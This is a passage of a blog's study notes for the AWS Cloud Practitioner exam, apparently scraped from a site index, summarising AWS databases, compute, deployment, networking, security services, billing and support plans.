highly available with replication across 3AZ Aurora storage automatically grows in increments of 10GB, to 64TB Automatically scales to workloads with millions of request per second Amazon Neptune Fully managed graph database Popular graph datasets would be a social network Users have friend, post have comments, comment have likes Highly available across 3 AZ, with up to 15 read replicas Build and run application working with highly connected datasets - optimized for these complex and hard queries Can store billions of relations and query the graph with milliseconds of latency Great for knowledge graphs, fraud detection, recommendation engines, social network Amazon QLDB Quantun Ledger Database is a book recording financial transactions Fully managed, serverless, high available, replication across 3 AZ Used to review history of all the changes made to your application data over time Inmutable system: no entry can be removed or modified, cryptographically verifiable 2-3x better performance than common ledger blockchain framework, manipulate data using SQL QLDB has a central database, in line with many financial regulations rules, in Amazon Managed Blockchain exists decentralization Amazon Managed Blockchain Blockchain makes possible to build applications where multiple parties can execute transactions without the need for a trusted, central authority Use cases: join public blockchain networks or create your private network, compatible with the frameworks Hyperledger Fabrid \u0026amp; Ethereum DMS - Database Migration Service Quickly and securely migrate databases to AWS, resilient, self healing The source database remain available during the migration Supports: Homogeneous migrations or Heterogeneous migrations ( ex: SQL server to Aurora) Summary Relational Database - OLTP: RDS and Aurora (SQL) In- memory database: Elasticache Key/value database: DynamoDB(serverless) \u0026amp; DAX(cache for DynamoDB) Warehouse - OLAP: Redshift (SQL) Hadoop cluster: EMR Athena: query data on Amazon S3 (serverless \u0026amp; SQL) Quicksight: dashboards on your data (serverless) Document DB: “Aurora for Mongo DB” (JSON-NoSQL database) Amazon QLDB: Financial Transactions Ledger (inmutable) Amazon Managed Blockchain: managed Hyperledger Fabric \u0026amp; Ethereum Databases Migration: DMS, and netpune for graph database ECS, Lamda, Batch, Lightsail ECS Elastic Container Service, launch docker containers on AWS You must provision \u0026amp; maintain the infrastructure (EC2 instances) AWS takes care of starting and stopping of containers, works with Application Load Balancer Fargate Launch Docker containers in AWS **You do not provision the infrastructure ( no EC2 to manage), simpler! Serverless offering, AWS just run container fir you based on CPU-RAM you nedd ECR Elastic Container Registry Private Docker Registry on AWS, this is where you store your docker images so they can run by ECS or Fargate What is serverless? New paradigm in which developers don´t manage the server anymore, just deploy code (amazon S3, Dynamo DB, Fargate, Lambda) Serverless was pioneered by AWS Lambda but now also includes databases, messaging, storage, etc Serverless does not mean there are no server, it means you just don’t manage them AWS Lambda Compared to EC2, has virtual functions, this mean no servers to manage Limited by time, short executions, run on-demand and the scaling is automated Easy pricing: pay per request and compute time, free tier of 1 million of Lambda Request and 400GB of compute time Integrated with the whole AWS suite of services Easy monitoring through AWS Cloud Watch, easy to get more resources per functions (up to 10GB of ram) Increasing RAM will also improve CPU and network Languages support: Node.js, python, java, C#, golang, Ruby, Lambda Container image, the container image must implement the lambda runtime API AWS Lambda Pricing Pay per calls first million request are free, then 0.20 per million request Pay per duration: 400gbs seconds of compute per month are free 400,000 seconds if function is 1GB ram 3200000 seconds if function is 128 MB ram After that $1,00 for 600,000 Gb seconds Usually is very cheap to run AWS Lambda so its very popular Amazon API Gateway Ex: Building a serverless API Fully managed service for developers to easily create, publish, maintain, monitor and secure APIs Serverless and scalable, supports RESTful APIs and WebSocket APIs, security, user auth, API throttling, API keys AWS Batch Fully managed batch processing at any scale A batch job is a job with a start an end, so batch jobs will dynamically launch EC2 Instances or Spot instances AWS Batch provisions the right amount of compute/memory Batch jobs are defined as Docker Images and run on ECS Batch vs Lambda Lambda Time limit, so limited runtime Limited temporary disk space, serverless Batch No limited time, run as long as it’s packaged as a Docker image Rely on EBS/instance store for disk space Relies on EC2 (can be managed by AWS) Amazon Lightsail Virtual servers, storage, databases and networking Low and predictable pricing, simpler alternative to using EC2, RDS, ELB, Route 53 Great for people with little cloud exp, like me! Use cases: simple web apps(Lamps, Nginx, Mean, Node.js), Websites(Wordpress, Magento, Joomla),dev or test environments Has high availability but no auto-scaling, limited AWS integrations Summary Docker: container technology to run applications ECS: run docker containers on EC2 instances Fargate: run docker without provisioning infrastructure, serverless ECR: private docker images repository Batch: run batch jobs on AWS across managed EC2 Instances Lightsail: predictable \u0026amp; low pricing for simple application \u0026amp; DB stacks Lambda: Serverless, function as a service, seamless scaling, reactive billing:by the time run x by the RAM provisioned, by the number of invocations Languages support: many languages except docker(only with api) Invocation time: up to 15 minutes Use cases: create thumbnails for images uploaded in S3, run a serverless cron job API Gateway: expose Lambda functions as HTTP API Deployments \u0026amp; Managing Infrastructure at Scale CloudFormation Is a declarative way of outlining your AWS Infrastructure, for any resources Ex: within a CloudFormation template, you say: i want a security group, running two EC2 instances with a load balancer in front of these machines Then CloudFormation crates those for you, in the right order, with the exact configuration that you specify Infrastructure as code No resources are manually created, which is excellent for control Changes to the infrastructure are managed through code Cost You can estimate your cost using CloudFormation template Saving strategy: In Dev, you could automation deletion of templates at 5PM and recreated at 8AM, safely Productivity Ability to destroy and recreate an infrastructure on the cloud on the fly Automate the generation of Diagram for your templates, declarative programming(no need to figure out ordering and orchestration) Support almost all AWS resources, and use “custom resources” for resources that are not supported Stack designer We can see all the resources and the relation between the components AWS Cloud Development Kit (CDK) Define your cloud infrastructure using a familiar language:java script, typescript, python, java and .net The code is compiled into a CloudFormation template (JSON/YAML) You can therefore deploy infrastructure and application runtime code together great for lambda functions and docker containers Typical architecture: Web app 3-tier AWS Elastic Beanstalk Is a developer centric view of deploying an application on AWS Use all components (EC2,ASG,ELB,RDS\u0026hellip;) and we have full control over configuration Beanstalk= Platforms as a Service (PaaS) You paying for the underlying instances Managed service: Instance config and os is handled by beanstalk Load balancing and auto scaling, app monitoring and responsiveness Just the application code is responsibility of the developer Three architecture models: Single instance deployment: good for dev LB + ASG: great for production of web apps ASG only: great for non-web apps in production Health Monitoring Health agent pushes metric to CloudWatch Checks for app health, publishes health events AWS CodeDeploy We want to deploy our application automatically Works with EC2, on premise server and Hybrid service Servers/Instances must be provisioned and configured ahead of time with de CodeDeploy Agent AWS CodeCommit Before pushing the app code to servers, it need to be stored somewhere Instead of using Github, AWS provides CodeCommit Make it easy to collaborate with others on code, the code changes automatically versioned Fully managed, scalable \u0026amp; highly available, private, secured and integrated with AWS AWS CodeBuild Compiles source code, run tests and produces packages that are ready to be deployed( by codedeploy for example) Fully managed, serverless, continuosly scalable \u0026amp; highly available, secure, only pay for the build time AWS CodePipeline Orchestrate the different steps to have the code automatically pushed to production Code → Build → Test → Provision → Deploy Basis for CICD (Continuous Integration \u0026amp; Continuous Delivery) Fully managed, compatible with CodeCommit, CodeBuild,\u0026hellip; Fast delivery and rapid updates AWS CodeArtifact Software packages depend of each others, storing and retrieving these dependencies is called artifact management CodeArtifact is a secure, scalable, and cost-effective artifact management for software development Developers and CodeBuild can then retrieve dependencies straight from CodeArtifact AWS CodeStar Unified UI to easily manage software development activities in one place Quick way yo get started to correctly setup CodeCommit, CodePipeline, Codebuild, Codedeploy, etc Can edit the code in the cloud using AWS Cloud9 AWS Cloud9 Is a cloud IDE for writing, running and debugging code A cloud IDE can be used within a web browser, meaning you can work on your projects from your office and has collaboration in real time (pair programming) AWS Systems Manager(SSM) Helps you manage your EC2 and On-Premises systems at scale Another hybrid AWS service, get operational insights about the state of your infra Patching automation for enhanced compliance and run commands across and entire fleet of servers Works with Windows and LInux How works: We need to install SSM on the system we control Installed by default in Amazon LInux AMI \u0026amp; Ubuntu AMI If an instance cant be controlled by SSM it’s probably an issue with the SSM agent. SSM Agents enable us to run commands, patch \u0026amp; configure our servers Systems Manager - SSM Session Manager Allows you to start a secure shell on your EC2 and on-premise servers No SSH access, bastion hosts, or SSH keys needed, no port 22 need (best practice) Support Linux, MacOS, Windows, send session log data to S3 or CloudWatch logs to be more secure AWS OpsWorks Chef and Puppet help you perform server config automatically, or repetitive actions Work great with EC2 and On-Premises VM Alternative to AWS SSM, only provision standard AWS resources (EC2, Databases, Load Balancer, EBS) Chef or Puppet needed → AWS OpsWorks Deployment - Summary Cloud Formation (AWS only): infra as code, works with all AWS resources, repeat across Regions and Accounts Beanstalk (AWS only): platforms as a service, limited to certain programming languages or docker, deploy code with a known architecture (ALB+EC2+RDS) Code Deploy (hybrid): deploy and upgrade any applications onto servers System Manager (hybrid): patch, configure and run commands at scale OpsWorks (hybrid): managed Chef and Puppet in AWS Code commit (store code in git repo), CodeBuild (build and test code in AWS), CodeDeploy (deploy code onto servers), CodePipelines (orchestration of pipeline), CodeArtifact: store software packages, dependencies, Code Star (unified view to quick start of using the other services), Cloud9 (cloud IDE with collab), AWS CDK (define your cloud infrastructure using a programming language) Global Infrastructure On AWS: this could be Regions or Edge Locations Decreased latency: deploy your apps closer to your users to decrease latency Disaster Recovery (DR): you can fail-over another region to have your app still working, increase availability Attack Protection: distributed global infrastructure is harder to attack Regions: For deploying applications and infrastructure Availability Zones: Made of multiply data centers Edge Locations (Points of presence): for content delivery as close as possible to users Global DNS: Route 53: great to route users to the closest deployment, great for disaster recovery strats Global Content Delivery Network (CDN): CloudFront: Replicate part of your apps to AWS Edge locations- decrease latency and cache common requests-improved user experience S3 Transfer Acceleration: Accelerate global uploads and downloads into Amazon S3 AWS Global Accelerator: Improve availability and performance using the AWS network Amazon Route 53 Managed DNS, collection of rules and record which helps clients understand how to reach server through URLs Routing Policies: simple (no heath checks), weighted (with weights for each server), latency (the lowest latency), failover (based on health check) AWS CloudFront Content Dleivery Network (CDN) Improves read performace, content is cached at the edge 216 point of presecnce (edge locations) DDoS protection, integration with shiel, AWS WAF Origins: S3 bucket: distributing files and caching them at the edge, enhanced security with Origin Access Identity (OAI) Custom Origin (HTTP): application load balancer, ec2 instances, s3 website\u0026hellip; CloudFront vs S3 Cross Region Replication CloudFront: Global edge network, files are cached for a TTL Great for static content that must be available everywhere, ex:website) S3 Cross Region Replication: You choose the region you want replication to happen, files are updated in real time (read only) Great for dynamic content that needs to be available at low-latency in few regions S3 Transfer Acceleration Increase transfer speed by transferring file to an AWS edge location which will forward the data of the S3 in the target region AWS Global Accelerator Improve global application availability and performance using AWS global network 2 Anycast IP are created for you app and traffic is sent through Edge Locations The Edge Location sent the traffic to your app AWS Global Accelerator vs CloudFront They both use AWS global network and it’s edge locations around the world Both using DDoS protection Cloudfront (CDN): improves performance for cacheable content, content is server at the edge Global Accelerator: No caching proxying packets an the edge, good for HTTP that require static IP adress AWS Ouptosts AWS Outposts are “server racks” that offer the same AWS infrastructure, services, APIs and tools to build your own apps on-premises just as in the cloud AWS will setup and manage “outposts racks” within your on-premise infra and you can start leveraging AWS services on-premises You are responsible for the Outposts Rack physical security Benefits:low latency access to on-premise, local data processing, data residency, easier migration to the cloud, fully managed services AWS WaveLength Infrastructure deployments embedded within communications providers datacenter at the edge of the 5G networks Bring AWS services to the edge of the 5G networks, ultra low latency through 5G Use cases: smart cities, ML- assisted diagnostics, real time gaming AWS Local Zones Places AWS compute, storage, database closer to end users to run latency-sensitive applications Extend your VPC to more regions, compatible with EC2,RDS,ECS,EBS,\u0026hellip; Ex: AWS Regions: N. Virginia (us-east-1), Local Zones: Boston, Chicago, Dallas\u0026hellip;. Global Application Architecture Global Applications in AWS - Summary Global DNS: Route 53: route users to the closest deployment, great for disaster recovery strategies Global Content Delivery Network (CDN): Cloudfront: Replicate part of your application to AWS Edge Locations, cache common requests. improve user experience and low latency S3 Transfer Acceleration: Accelerate global uploads and download in Amazon S3 AWS Global Accelerator: Improve global application availability and performance over network AWS Outposts: Deploy outposts racks in your own data center to extend AWS services AWS WaveLenght: Bring AWS to the edge of the 5G networks, ultra low latency AWS Local Zones: Bring AWS resources (compute, storage, database) closer to your users, good for latency.sensitive applications Cloud Integrations Synchronous communications: app to app ( ex: buying service and shipping service) Asynchronous: app to queue to app If there are sudden spikes of traffic you have to decouple your app using SQS; queue model, SNS:pub/sub model, Kinesis: real-time data streaming model Amazon SQS - Simple Queue Service Oldest AWS offering, serverless, use to decouple applications Scales from1 to 10,000 messages per second Default retention of 4 days, max of 14 days, no limit how many messages in queue Messages are deleted after the read, low latency(\u0026lt;10 ms on publish and receive) Amazon SNS Simple Notification Service, the “event publishers” only sends message to one SNS topic As many event subscribers as we want to listen to the SNS notifications Each subscriber will get all the messages Up to 10 million subscribers per topic, 100,000 topic limit SNS subscribers can be: http/https, emails, SMS, Mobile notifications, SQS queues, Lambda Functions Amazon Kinesis Kinesis= Real time big data streaming Managed service to collect, process and analyze real-time streaming data at any scale Kinesis data firehose: load streams into S3, redshift, elasticsearch\u0026hellip; Kinesis data streams: low latency streaming to ingest data at scale from hundreds of sources Kinesis data analytics: perform real time analytics on streams using SQL Kinesis video streams: monitor real time video streams for analytics or ML Amazon MQ Only when need using open protocols on-premise servers : MQTT, AMQP, STOMP, WSS When migrating to the cloud, instead of re-engineering the applicaction to use SQS and SNS, we can use AmazonMQ= Managed Apache ActiveMQ Doesn’t scale as much as SQS/SNS, these are cloud native, and serverless, Amazon MQ run on dedicated machine Integration Section - Summary SQS:queue service in AWS, multiple producers, messages are kept up to 14 days, used to decouple applications SNS: notifications service in AWS, email, lambda, SQS, HTTP, mobile, multiple subs, send all messages to them, no message retention Kinesis: real time data streaming, persistence and analysis Amazon MQ: managed Apache MQ in the cloud (MQTT, AMQP.. protocols) Cloud Monitoring Amazon CloudWatch Metrics CloudWatch provides metric for every services in AWS Metric have timestamps, can create dashboards Important Metrics: EC2 Instances: cpu utilization, status checks, every 5 minutes, you can pay for detailed monitoring (1min) EBS Volumes: disk read and writes S3 Buckets: total estimated charge(us-east-1) Service Limits: how much you use a service API Custom metrics: push your own metrics Amazon CloudWatch Alarms Trigger notification for any metric Alarms actions: auto scaling: increase o decrease EC2 instances, EC2 actions: stop, terminates, reboot an EC2 instance, SNS Notifications: send a notification into an SNS topic Can choose the period on which to evaluate an alarm Ex: create a billing alarm on cloudwatch billing metric, ALARM STATES: OK, INSUFFICIENT_DATA, ALARM Amazon CloudWatch Logs CloudWatch Logs can collect logs from:Elastic Beanstalk, ECS, Lambda, Cloud trail, Route53 Enables real-time monitoring of logs Adjustable CloudWatch Logs retention Cloud Watch Logs for EC2 By default, no logs from EC2 instance will go to CloudWatch You need to run a CloudWatch agent on EC2 to push the log files you want The CloudWatch Log agent can be setup on-premises too and make sure IAM permissions are correct Amazon EventBridge EventBridge is the next evolution of CloudWatch Events Default event bus. generated by AWS services (CloudWatch Events) Partner event bus. receive events from SaaS service or apps Custom Event Buses: for your own applications Schema Registry: model event schema EventBridge has a different name to mark the new capabilities The cloudWatch events name will be replaced with EventBridge AWS Cloud Trail Enabled by default and provides governance, compliance and audit for your AWS Account Gets an history of events or API calls made in your AWS Account by: console, SDK, CLI, AWS Services You can put these logs into CloudWatch logs or S3, and a trail can be applied to all regions(default) or a single one, if a resource is deleted investigate cloud trail first Cloud Trail Events Management events: operations that a principal (user or service) attempts to execute against an AWS resource. this include write-only events (create ec2) and read only events (list ec2 instances) Data events: consist of S3 object-level activity and lambda functions executions, both of which tend to be a high volume, CloudTrail draw a distinction to S3 events, read only(get-object) and write only(put object) Cloud Trail Events Retention Events are stored for 90 days in CloudTrail To keep events beyond this period, log them to S3 and use athena AWS X-Ray Debugging in Production, old way: test locally, add log everywhere, re-deploy in production Debugging: one big monolith “easy”, distributed services “hard” No common views of your entire architecture Use cases: Troubleshooting performance Understand dependencies in a microservice architecture Review request behavior, find error and exceptions Where i am throttled, identify users that are impacted Amazon CodeGuru ML-powered service for automated code reviews and application performance recommendations Two functions: CodeGuru Reviewer: automate code reviews for static code analysis CodeGuru Profiler: visibility or recommendation about application performance during runtime CodeGuru Reviewer Identify critical issues, security vulnerabilities, and hard-to-find bugs Ex: common coding best practices, resource leaks, security detection, input validation Using ML and automated reasoning, supports Java and Python, integrated with GitHub, AWS CodeCommit and BitBucket CodeGuru Profiler Helps understand the runtime behavior of your application Ex: too much CPU usage Support apps running on AWS or on-premise and minimal overhead of application AWS Personal Health Dashboard Provides alerts and remediation guidance when AWS is experiencing event that affect you Alert, remediation, proactive notifications, scheduled activities Monitoring Summary CloudWatch Metrics: monitor the performance of AWS service and billing metrics Alarms: automate notification, perform EC2 action, notify SNS based on metric Logs: collect log files from EC2 instances, lambda functions EventBridge: react to events in AWS or trigger a rule on schedule CloudTrail: audit API calls made within your AWS account CloudTrail Insights: automated analysis of your cloudtrail events Amazon CodeGuru: automated code reviews and application performance recommendations VPC Virtual Private Cloud: private network to deploy your resources (regional) Subnets: allow you to partition your network inside your VPC (AZ resource) Public Subnet: is accessible from the internet Private Subnet: is not accessible from the internet To define access to the internet and between subnets, we use Route Tables Network ACL and Security Groups VPC Flow Logs Capture Information about IP traffic going into your interfaces VPC, Subnet, Elastic Network Interface Helps to monitor and troubleshoot connectivity issues VPC Flow logs data can go to S3 or CloudWatch Logs VPC Peering Connect two VPC, privately using AWS network Make them behave if they were in the same network Not transitive, must be established for each VPC that need to communicate VPC Endpoints Allow you to connect to AWS Services using a private network instead of public network Enhanced security and low latency VPC Endpoint Gateway(S3 and DynamoDB), Interface (the rest) Site to Site VPN \u0026amp; Direct Connect Site to site VPN; connect an on-premise VPN to AWS, automatically encrypted, goes over public network Customer Gateway (on-premise), virtual private gateway (AWS) Direct Connect(DX): establish physical connection between on-premises and AWS, goes over private network takes a month to establish Transit Gateway For having transitive peering between thousands of VPC and on-premises One single gateway to provide this functionality, works with direct connect gateway, VPN connections VPC Summary Subnets: Tied to an AZ, network partition of the VPC Internet Gateway: at the VPC level, provide internet access Nat Gateway: give internet to private subnets NACL: Stateless, subnet rules for inbound and outbound Security Groups: Stateful, operate at the EC2 level or ENI VPC peering: connect two VPC with no overlapping IP ranges, no transitive VPC Endpoints: Provide private access to AWS Services within VPC VPC Flowlogs. network traffic logs Site to site VPN: VPN over public network between premises DC and AWS Direct Connect: direct private connection to AWS Transit Gateway: Connect thousands of VPC and on-premises networks together Security \u0026amp; Compliance AWS responsibility: Security of the cloud Protecting infrastructure Managed services like S3, DynamoDB, RDS Customer Responsibility: Security in the cloud Guest OS(security patches and updates) Firewall and network configuration, IAM and encrypting data Shared Controls: Patch Management, Configuration management, Awareness \u0026amp; Training DDOS Protection on AWS AWS Shield AWS Shield Standard: protect against DDoS attack for your website and applications, for all customers at no adittional costs AWS Shield Advanced: 24/7 premium DDoS protection (3k usd per month) AWS WAF: Filter specific requests based on rules CloudFront and Route53: availability protection using global edge network, combined with AWS shield provides solid mitigation at the edge AWS WAF Protect your web from common web exploits(Layer 7 http) Deploy on Application Load Balancer, API Gateway, Cloudfront Define Web ACL (web access control list) Rules include IP addresses, HTTP headers, body or URI strings Protect from SQL injections, XSS, Block countries, or rate based rules (count occurrences of events) DDos Pentesting in AWS AWS customers are welcome to carry out security assessments against their AWS infrastructure without approval for 8 services: Amazon EC2 Amazon RDS Amazon CloudFront Amazon Aurora Amazon API Gateway AWS Lambda Amazon Lightsail resources Amazon Elastic Beanstalk Prohibited: DNS zone walking, Dos, Port flooding, request flooding, DDos Encryption At rest: data stored archived in device Hard disks, RDS service, S3 Glacier Deep archive In transit: data being moved from one location to another Transfer from on-premises to AWS, EC2 to DynamoDB For this we leverage encryption keys AWS KMS Service for encryption: AWS manage the encryption keys for us Encryption Opt-in: EBS volumes S3 buckets: server side encryption of objects Redshift database:encryption of data RDS database. encryption of data EFS drives: encryption of data Automatically enabled: Cloud trail logs S3 Glacier Storage Gateway AWS Certificate Manager (ACM) Lets you easily provision, manage and deploy SSL/TLS Certificates Used to provide in-flight encryption for websites (HTTPS) Supports both public and private TLS certificates, free for ublic TLS Automatic TLS certificate renewal, integrated with ELB, CloudFonrt, APIs on API Gateway AWS Secrets Manager Newer service, storing secrets, capability to force rotation of secrets every X days Automate generation of secrets on rotation (uses lambda) Integration with Amazon RDS and are encrypted using KMS Amazon GuardDuty Intelligent threat discovery to protect AWS Account Uses ML algorithms, anomaly detection, 3rd party data One click to enable (30 days trial), no software to install Input data: Cloud trail logs, VPC flow logs, DNS logs Can setup CloudWatch Event Rules to be notifies in case of finding targeting AWS lambda or SNS Amazon Inspector Automated Security Assessments for EC2 instances Analyze against unintended network accessibility AWS Inspector must be installed on OS in EC2 instances AWS Config Helps with auditing and recording compliance of your AWS resources Helps record configuration and changes over time Questions solved: is there a unrestricted ssh access to my security groups?, do my buckets have any public access? You can receive notification in changes, is a per-region service and can be across regions and accounts Amazon Macie Fully managed data security and data privacy service that uses ML and pattern matching to protect your sensitive data in AWS Macie helps identify and alert you to sensitive data, such a personally identifiable information (PII) AWS Security Hub Central security tool to manage security across AWS accounts and automate security checks Integrated dashboards sowing current security and compliance status to quickly take actions Automatically aggregates alerts in predefined findings in: GuardDuty, Inspector, Macie, IAM Access, AWS SSM, AWS Firewall, AWS Partner Network Solutions Must first enable AWS config service GuardDuty, Inspector, Macie, IAM Access, AWS SSM, AWS Firewall, AWS Partner Network Solutions Amazon Detective GuardDuty, Macie and Security Hub are used to identify potential security issues or findings Analyzes, investigates and quickly identifies the root cause of security issues or suspicious activities( using ML and graphs) Automatically collects and processes events from VPC log flows, Cloud Trail, GuardDutiy and create unified view AWS Abuse Report suspected AWS resources used for abusive or illegal purposes Spam Port Scanning Dos or DDoS Intrusion attempts Hosting copyrighted content Distributing malware Contact the AWS abuse team Security \u0026amp; Compliance Summary Shield: automatic DDoS protecctions + 24/7 support for advanced WAF: firewall to filter incoming requests based on rules KMS: Encryption keys managed by AWS CloudHSM: Hardware encryption, we manage encryption keys AWS Certificate Manager: provision, manage and deploy SSL/TLS Certificates Artifact: Get access to compliance reports such as PCI, ISO GuardDuty: Find malicious behavior with VPC, DNS and CloudTrail Logs Inspector: For EC2 only, find vulnerabilities Config: track config changes and compliance against rules Macie: Find sensitive data in Amazon S3 CloudTrail: track API calls by users within account AWS Security Hub: Gather security findings from multiple AWS accounts Amazon Detective: Report AWS resources for abusive or illegal purposes Root user privileges: change account settings, close AWS account, change or cancel AWS support plan, register as a seller in marketplace Account Management, Billing, Support AWS Organizations Global services, allows to manage multiple AWS accounts Consolidated billing across all accounts Pricing benefits from aggregated usage (discounts for EC2) API available to automate AWS account creation Restrict account privileges using Service Control Policies (SCP) Create accounts per department, per cost center, for better isolation Use tagging standard for billing purposes, enable CloudTrail and CloudWatch log to send to central S3 account Service Control Policies (SCP) Whitelist or blacklist IAM action Applied at the OU or Account level Does not apply to the master account SCP must have an explicit Allow(does not allow anything by default) Restrict access to certain services, enforce PCI compliance by explicitly disabling services) AWS Consolidated Billing **Combined Usage:**combine the usage across all AWS accounts in AWS Organization to share the volume, pricing and saving plans discounts One Bill : get one bill for all AWS accounts in the org The management account can turn off Reserved Instances discount sharing for any account in the AWS Organization, including itself AWS Control Tower Easy way to set up and govern a secure and compliant multi-account AWS environment based on best practices Automate the set up of your environment in few clicks Automate ongoing policy management using guardrails Monitor compliance through an interactive dashboard AWS Control tower run on top of AWS Organizations, so work with this service Pricing Models in AWS Pay as you go: pay for what you use, remain agile, meet scale demands Save when you reserve: minimize risks, comply with long term requirements, EC2, DynamoDB,RDS\u0026hellip; Pay less by using more: volume-based discounts Pay less as AWS grows Free tier services IAM VPC Consolidated billing Elastic Beanstalk Cloud formation Auto scaling groups Compute Pricing Services EC2 On demand instances: minimun of 60s, pay per second (win/linux) or per hour(other) Reserved instances: up to 75% discount, on demand hourly rate, 1-3 year commitment, all upfront, partial, no Spot instances: up to 90% discount, bid for unused capacity, have risks Dedicated Hosts: on-demand, reservation for 1 or 3 years Savings plans as an alternative to save on sustained usage Lambda Pay per call Pay per duration ECS EC2 launch type model: no additional fees Pay for AWS resources stored and created in your application Fargate Pay for vCPU and memory resources allocated to your applications in your containers S3 Storage class, number and size of objects Number and type of requests Data transfer OUT the S3 region, S3 transfer acceleration Similar to EFS (lifecycle rules) EBS\nVolume type(based on performance) Storage volume in GB per month IOPS, Snapshots, Data transfer (inbound is free) RDS Per hour billing Engine, size, memory class Purchase type: on demand, reserved instances (1 or 3 years) with required up-front No additional charge for backup storage Number of input and output requests per month, Deployment type: single AZ, multiple AZs CloudFront Pricing is different across regions Aggregated for each edge location, then applied to your bill Data transfer out (volume discount), number of https requests Using private IP instead of public ip for good saving and network performance between EC2 Use same AZ for maximum savings ( at the cost of high availability) Saving Plan Commit a certain $ amount per hour for 1-3 years EC2 Saving Plan Up to %72 discount compared to On-Demand Commit to usage of individual instance families in a region Compute Saving Plan Up to 66% discount compared to on-demand Regardless of family, region, size, os, tenancy, compute options EC2, Fargate, Lambda Setup in the AWS Cost Explorer console AWS Compute Optimizer Reduce costs and improve performance by recommending optimal AWS resources Use ML to analyze your resources and their utilization CloudWatch metrics Supported resources: EC2 instances, EC2 Auto scaling groups, EBS volumes, Lambda functions Lower your cost up to 25%, recommendation can be exported to S3 Billing and Costing Tool Estimating costs in the cloud TCO Calculator: estimate costs saving, comparing on-premise to aws cloud, ideal for executive presentations Simply monthly calculator /pricing calculator: AWS Pricing Calculator, estimate cost for your architecture solution Tracking costs in the cloud Billing dashboard: high level tool, show free tier Cost allocation tags: use cost allocation tags to track your AWS cost on detailed level (AWS generated or user defined), used for organizing resources for departments Cost usages reports: dive deeper into your AWS costs, most comprehensive set of AWS cost and usage, can be integrated with Athena, Redshift and QuickSight Cost explorer: visualize, understand and manage your AWS cost, create custom reports, analyze your data at high level, choose an optimal Saving plan, forecast usage up to 12 months Monitoring against costs plan Billing alarms: data metric in Cloud Watch is stored in us-east-1, its for actual costs,not projected costs, intended a simple alarm, not powerful as AWS Budgets\nBudgets: send alarms when costs exceed the budget, 3 types: usage, costs, reservations\nUp to 5 SNS notifications per budget, 2 budgets are free, then 0.02 per day or budget\nAWS Trusted Advisor No need install anything, high level AWS assessment Analyze AWS accounts and provides recommendation on 5 categories: Cost optimization Performance Security Fault tolerance Service Limits Support Plans 7 core checks for Basic and Developer plans S3 bucket permissions Security Groups: specific ports unrestricted IAM Use MFA on root Account EBS Public snapshots RDS Public snapshots Service limits Full checks for Business and Enterprise Support plans Full checks available on the 5 categories Ability to set CloudWatch alarms when reaching limits Programmatic Access using AWS support API AWS Basic Support Plan Customer service and communities : 24/7 access to customer service, documentation, whitepapers and support forums AWS Trusted advisor: 7 core trusted advisor checks AWS personal Health Dashboard: personalized view of health of AWS services AWS Developer Support Plan All Basic Support Plan Business hours email access to Cloud Support Unlimited cases - 1 primary contact General guidance \u0026lt; 24 business hours System impaired \u0026lt; 12 business hours AWS Business Support Plan (24/7) Intended to use if you have production workloads Trusted advisor - full set of checks + API access 24x7 phone, email and chat access to Cloud Support Engineers Unlimited cases - unlimited contacts Production system impaired \u0026lt; 4 hours Production system down \u0026lt; 1 hour AWS Enterprise Support Plan (24/7) Intended to use if you have mission critical workloads Access to a Technical Account Manager (TAM) Concierge Support Team Infrastructure Event Management, Well Architected and Operations Reviews Business-critical system down \u0026lt; 15 minutes Account Best Practices - Summary Operate multiple accounts using Organizations Use SCP to restrict account power Easily setup multiple account with best-practices with AWS Control Tower Use tags and Cost Allocation Tags for easy management and billing IAM guidelines: MFA, least-privilege, password policy, password rotation Config to record all resources configurations and compliance over time CloudFormation to deploy stacks across accounts and regions Trusted Advisor to get insights, Support Plan adapted to your need Send service Logs and Access Logs to S3 or CloudWatch Logs CloudTrail to record API calls made within your account If yout Account is compromised: change the root password, delete and rotate all the passwords, contact AWS support Billing and Costing Tool - Summary Compute Optimizer: recommends resources configuration to reduce cost TCO Calculator: from on-premise to AWS Simple Monthly Calculator : cost of service on AWS Billing dashboard: high level overview + free tier dashboard Cost Allocation Tags: tag resources to create detailed reports Cost and Usage reports: most comprehensive billing dataset Cost explorer: View current usage (detailed) and forecast usage Billing alarms: in us-east-1 track overall and per-service billing Budgets: more advances - track usage, costs, RI, and get alerts Savings Plans: easy way to save based on long-terms usage of AWS Advances Identity AWS STS (Security Token Service) Enables to create temporary, limited-privileges credentials to access your AWS resources Short-term credential: you configure expiration period Use cases: Identity federation, IAM Roles for cross accounts, IAM roles for EC2 Amazon Cognito (simplified) Identify for your Web and Mobile applications users (potentially millions) Instead of creating them an IAM user; your create a user in Cognito Microsoft Active Directory (AD) Found on any Windows Server with AD Domain Services Database of objects: User Accounts, Computers, Printers, File shares, Security Groups Centralized security management, create account, assign permissions AWS Managed Microsoft AD Create your own AD in AWS, manage users locally, support MFA Establish ‘trust’ connections with your on-premise AD AD Connector Director Gateway to redirect to on premise AD Users are managed on the on-premise AD Simple AD AD-compatible managed directory on AWS Cannot be joined with on-premise AD AWS Single Sign-On (SSO) Use on-login to access multiple account and 3er party applications Integrated with AWS Organizations and on-premise AS Supports SAML 2.0 markup Advanced Identity - Summary IAM: Identity Access Management, used for users that you trust and belong to your company Organizations: Manage multiple AWS accounts Security Token Service (STS): temporary, limited privileges credentials to access AWS resources Cognito: create a database of users for your mobile and web applications Directory Services: integrate Microsoft Active Directory in AWS Single Sign On (SSO): one login for multiple AWS accounts and applications AWS Well Architected Framework Operational Excellence Security Reliability Performance Efficiency Cost Optimization ","permalink":"https://blog.s4yhii.com/posts/2022-01-15-aws-ccp-notes/","summary":"\u003ch1 id=\"cloud-computing-and-iam\"\u003e\u003cstrong\u003eCloud computing and IAM\u003c/strong\u003e\u003c/h1\u003e\n\u003ch2 id=\"types-of-cloud-computing\"\u003e\u003cstrong\u003eTypes of Cloud Computing\u003c/strong\u003e\u003c/h2\u003e\n\u003ch3 id=\"infrastructure-as-a-service-iaas\"\u003e\u003cstrong\u003eInfrastructure as a Service (IaaS)\u003c/strong\u003e\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eProvide building blocks for cloud IT\u003c/li\u003e\n\u003cli\u003eProvide networking, computers, data storage space\u003c/li\u003e\n\u003cli\u003eHighest level of flexibility\u003c/li\u003e\n\u003cli\u003eSimulate the look from managing physical resources\u003c/li\u003e\n\u003cli\u003eEg: EC2, EBS, GCP, Digital Ocean, Elastic Load Balancing\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"platform-as-a-service-paas\"\u003ePlatform as a Service 